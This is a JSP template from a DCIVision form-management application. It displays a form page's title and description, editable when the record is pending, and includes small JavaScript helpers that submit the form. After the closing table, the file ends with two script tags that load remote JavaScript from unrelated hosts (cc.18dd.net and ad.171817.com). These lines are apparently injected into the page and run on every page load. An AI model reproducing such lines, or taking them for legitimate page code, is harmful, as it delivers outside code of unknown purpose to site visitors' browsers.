<%
/*
 * @(#)EditFormRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ShowFormPageLayout.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    11/12/2003
    @version          $Revision: 1.2.44.1 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<%
boolean formPending = GlobalConstant.RECORD_PENDING.equals(request.getParameter("status"));
%>
<script language="JavaScript">
<!--

function maintSection(action,mode,row,column,sectionID,id) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }

  if('E'==mode){
      frm.navMode.value = mode;
      frm.opMode.value = '';
  } else {
      frm.opMode.value = mode;
  }
  //frm.row.value = row;
  //frm.column.value = column;

  //frm.sectionID.value = sectionID;
  frm.ID.value = id;
  gotopage(action);
}

function gotopage(value) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }
  frm.action = value;
  frm.submit();
}
//-->
</script>

<table width="650" border="0" cellspacing="1" cellpadding="0">
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="pageTitle" nowrap><bean:message key='form.label.form_content'/>:</td>
          <td align="right"><b><font color='red'>*</font><bean:message key='form.label.is_required_field'/>.</b></td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td colspan="2"><br>
<!-- ************************************** Start of Form Border ********************************** -->
<table border=0 cellspacing="0" cellpadding="0">
    <tr align="left">
        <td><html:img src='IconFormTopLeft.gif' /></td>
        <td><html:img src='IconFormTop.gif'  width='600' height='39'/></td>
        <td><html:img src='IconFormTopRight.gif' /></td>
    </tr>
    <tr align="left">
        <td valign="top" align="left"><html:img src='IconFormLeft.gif' /></td>
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
<table width="100%">
    <tr>
        <td align="center">
<%if(formPending){%>
            <input name="formPageTitle" value="<bean:write name='formPage' property='title'  replace=''/>" size="25">
<%}else{%>
            <bean:write name='formPage' property='title' replace=''/>
<%}%>
        </td>
    </tr>
    <tr>
        <td align="center">
<%if(formPending){%>
            <textarea name="formPageDescription" rows="3" cols="50"><bean:write name='formPage' property='description'   replace=''/></textarea>
<%}else{%>
            <bean:write name='formPage' property='description' replace='' />
<%}%>
        </td>
    </tr>
</table><br>

1)<a href="javascript:maintSection('MaintFormSection.do','','1','1','1','')"><html:img src='IconCreate.gif' /></a>


</table>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>